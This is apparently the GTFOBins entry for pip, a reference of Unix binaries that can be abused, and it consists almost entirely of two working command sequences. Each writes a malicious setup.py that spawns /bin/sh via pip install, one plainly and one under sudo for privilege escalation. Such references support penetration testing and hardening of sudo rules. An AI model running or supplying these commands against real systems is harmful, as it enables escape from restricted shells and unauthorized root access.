GTFOBins.github.io/_gtfobins/pip.md
2018-09-06 19:18:12 +02:00

558 B

description functions
More generally, this allows to execute arbitrary Python code. See the entries of Python [version 2](/gtfobins/python2/) and [version 3](/gtfobins/python3/).
execute-interactive sudo-enabled
code
TF=$(mktemp -d) echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py pip install $TF
code
TF=$(mktemp -d) echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py sudo pip install $TF